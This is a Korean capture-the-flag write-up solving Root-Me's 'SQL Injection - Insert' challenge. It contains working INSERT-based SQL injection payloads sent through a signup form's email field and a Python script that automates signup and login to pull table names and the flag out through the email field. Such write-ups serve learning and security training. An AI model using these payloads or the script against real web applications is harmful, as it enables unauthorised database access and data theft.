ROOTME] SQL Injection - Insert

노션으로 옮김·2020년 4월 2일
1

wargame

목록 보기
33/59
post-thumbnail

문제

로그인 페이지가 있고

가입 페이지가 있다.


풀이

rootme 참조 문서를 보면 Error Base SQL Injection를 설명한 문서라 관련이 없다고 생각할 수 있지만, SQL의 다음 특징을 알 수 있다.

SQL Injection in Insert

insert시 값을 기입하는 곳에 상수값 대신 SQL 쿼리를 삽입할 수 있다.

insert into myTable (username, id) values((select version()),1);

위 구문 실행 후, 해당 row의 username 속성에는 select version()의 결과값이 저장된다.

가입페이지

이 문제는 insert 구문을 이용한 문제이므로, 로그인페이지에서는 당연히 SQL 인젝션이 막혀있을 것이다.

가입페이지에는 아이디, 패스워드, 이메일 세 가지의 입력을 받는다.

하지만, 아이디와 패스워드에서는 쿼터입력이 제한되기 때문에 이메일 폼에서 SQL 인젝션을 시도해야 된다는 것을 알 수 있다.

데이터베이스 서버 확인

이메일은 싱글쿼터로 둘러쌓여있으므로, 다음처럼 insert문에 두 번째 행 삽입 구문을 추가하여 그 곳에 쿼리를 인젝션해야 한다.

'),('id','pw', (select version()))

결과에 데이터베이스 이름은 안나왔지만, 버전을 보고 mysql임을 알 수 있었다.

더불어 information_schema를 활용할 수 있다는 사실도 알 수 있다.

테이블 정보 확인

먼저 테이블 정보를 구해야 한다.
일반적으로 다음의 쿼리를 사용한다.

select table_name from information_schema.tables where table_schema = database()

하지만 문제에서 길이제한으로 위의 쿼리는 사용할 수 없었다.

다행히 sql injectino tips 포스트에 나오는 쿼리로 가입시 사용된 쿼리를 확인하여 테이블 이름을 알 수 있었다.

'),('id','pw',(select * from information_schema.processlist))#

테이블 이름은 membres 이다.

유저 정보 확인

로그인 페이지가 있다는 것은 특정 유저로 로그인을 해야 플래그 값을 얻을 수 있다는 것이다.

그래서 membres 테이블의 유저정보를 limit를 사용하여 하나씩 모두 출력하려 했다.

'),('id','pw',(select username from membres limit 0, 1))#

하지만 쿼리에 에러가 발생했다.

로컬에서 확인해보니

Table 'myTable' is specified twice, both as a target for 'INSERT' and as a separate source for data              

insert 문 안의 select문은 insert의 동일 테이블을 가리킬 수 없었다.

코드 작성

그렇다면 방법은, 의미있는 다른 테이블이 추가로 존재할 것이라고 게싱하여 모든 테이블 값을 확인하는 것이다.
이것을 Burp를 이용하여 수동으로 할 순 없었고, 파이썬 코드를 작성하였다.

for first in chars.replace('0123456789', ''):
    for length in range(4, 10): 
            to_attempt = product(chars, repeat=length)
            for attempt in to_attempt:
                print '########################################################'
                brute = ''.join(attempt)
                if not flag_exist | flag_auto:
                    u_in = raw_input('sql>')
                    if u_in.find('auto') != -1:
                        flag_auto = 1

                if flag_auto: 
                    u_in = 'select table_name from information_schema.tables limit {0},1'.format(idx_table)
                    idx_table += 1
                    list_rets = []

                u_id = brute
                payload = "'),('{0}1','a',({1}))#".format(u_id, u_in)
                datas = {'username': brute, 'password' : 'a', 'email': payload}

                res = requests.post(url_reg, data=datas)

                if res.text.find('logged in') != -1:
                    print '\n\n\n'
                    print 'successful subscription'
                    print 'id: ' + u_id+str('1')
                    print 'pw: ' + 'a'
                    flag_exist = 0
                elif res.text.find('exist') != -1:
                    print 'user exist!!!'
                    flag_exist = 1
                    continue
                else:
                    print 'query error!!!'
                    print 'parameters: ' + str(datas)
                    raw_input(res.text)
                    flag_exist = 0
                    continue
                print '\n\n\nTrying login the user'
                datas = {'username': u_id+'1', 'password' : 'a'}
                res = requests.post(url_log, data=datas)

                pt = re.compile('Email : .+<br />')
                
    
                try:
                    ret = pt.findall(res.text)[0]
                    ret = ret.split('Email : ')[1].split('<br')[0]
                    print '\n\n\n'+ret
                    list_rets.append(ret)
                except IndexError:
                    if flag_auto:
                        flag_auto = 0
                        raw_input('Finished finding table names!!!'+'\n' + str(list_rets))
                        list_rets = []

sql문만 입력하면 알아서 가입 및 로그인 후 email값을 확인할 수 있는 코드이다.
auto_table이라고 입력시 모든 테이블 값을 구하여 출력해준다.

successful subscription
id: aaaaaab21
pw: a



Trying login the user
Finished finding table names!!!
[u'COLUMN_PRIVILEGES', u'ENGINES', u'EVENTS', u'FILES', u'GLOBAL_STATUS', u'GLOBAL_VARIABLES', u'KEY_COLUMN_USAGE', u'OPTIMIZER_TRACE', u'PARAMETERS', u'PARTITIONS', u'PLUGINS', u'PROCESSLIST', u'PROFILING', u'REFERENTIAL_CONSTRAINTS', u'ROUTINES', u'SCHEMATA', u'SCHEMA_PRIVILEGES', u'SESSION_STATUS', u'SESSION_VARIABLES', u'STATISTICS', u'TABLES', u'TABLESPACES', u'TABLE_CONSTRAINTS', u'TRIGGERS', u'USER_PRIVILEGES', u'VIEWS', u'INNODB_LOCKS', u'INNODB_TRX', u'INNODB_SYS_DATAFILES', u'INNODB_FT_CONFIG', u'INNODB_SYS_VIRTUAL', u'INNODB_CMP', u'INNODB_FT_BEING_DELETED', u'INNODB_CMP_PER_INDEX', u'INNODB_CMPMEM_RESET', u'INNODB_FT_DELETED', u'INNODB_BUFFER_PAGE_LRU', u'INNODB_LOCK_WAITS', u'INNODB_TEMP_TABLE_INFO', u'INNODB_SYS_INDEXES', u'INNODB_SYS_TABLES', u'INNODB_SYS_FIELDS', u'INNODB_CMP_PER_INDEX_RESET', u'INNODB_BUFFER_PAGE', u'INNODB_FT_DEFAULT_STOPWORD', u'INNODB_FT_INDEX_TABLE', u'INNODB_FT_INDEX_CACHE', u'INNODB_SYS_TABLESPACES', u'INNODB_METRICS', u'INNODB_SYS_FOREIGN_COLS', u'INNODB_CMPMEM', u'INNODB_BUFFER_POOL_STATS', u'INNODB_SYS_COLUMNS', u'INNODB_SYS_FOREIGN', u'INNODB_SYS_TABLESTATS', u'flag', u'membres']
########################################################

테이블 이름이 flag인 테이블이 존재했다.

해당 테이블을 조회하여 플래그 값을 얻을 수 있었다.

sql>select flag from flag
user exist!!!
########################################################
user exist!!!
########################################################
user exist!!!
########################################################
user exist!!!
########################################################




successful subscription
id: aaad1
pw: a



Trying login the user



flag is : ------------------------
########################################################

※속성명 역시 flag로 검색한 것은 게싱이다.※

0개의 댓글